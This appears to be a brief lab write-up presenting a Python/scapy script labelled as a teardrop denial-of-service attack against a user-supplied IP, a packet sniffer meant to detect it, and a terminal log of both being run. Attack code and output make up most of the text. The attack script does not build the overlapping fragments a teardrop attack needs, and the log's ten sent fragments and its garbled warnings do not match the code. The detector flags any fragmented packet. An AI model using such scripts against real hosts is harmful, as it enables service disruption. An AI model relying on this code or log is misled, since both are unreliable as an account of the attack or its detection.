Teardrop Attack Prevention

Python script for teardrop attack


```
GNU nano 8.2                              teardrop_attack.py
from scapy.all import IP, UDP, fragment, send

def teardrop_attack(target_ip):
    print("[*] Starting teardrop attack...")
    # Generate fragmented packets
    packet = IP(dst=target_ip, flags="MF") / UDP(dport=12345) / b"A" * 10
    fragments = fragment(packet)
    for frag in fragments:
        send(frag)
    print("[*] Attack completed.")

if __name__ == "__main__":
    target = input("Enter target IP address: ")
    teardrop_attack(target)
```

Python script for detecting the attack


```
GNU nano 8.2                              detect_teardrop.py
from scapy.all import sniff, IP, UDP

def detect_teardrop(pkt):
    # Logic for detecting teardrop attack
    if IP in pkt and pkt[IP].frag > 0:
        print(f"[!] Fragmented packet detected from {pkt[IP].src} to {pkt[IP].dst}")

def main():
    print("[*] Starting teardrop attack detection...")
    sniff(prn=detect_teardrop, filter="ip", store=0)

if __name__ == "__main__":
    main()
```

Attack simulation

```
(root@kali)-[~]
# sudo python3 teardrop_attack.py
Enter target IP address: 172.17.0.1
[*] Starting teardrop attack ...
WARNING: MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
WARNING: MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
WARNING: more MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
WARNING: MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
WARNING: MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
WARNING: more MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
WARNING: MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
WARNING: MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
WARNING: more MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
WARNING: MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
[*] Attack completed.

(root@kali)-[~]
# sudo python3 detect_teardrop.py
[*] Starting teardrop attack detection ...
```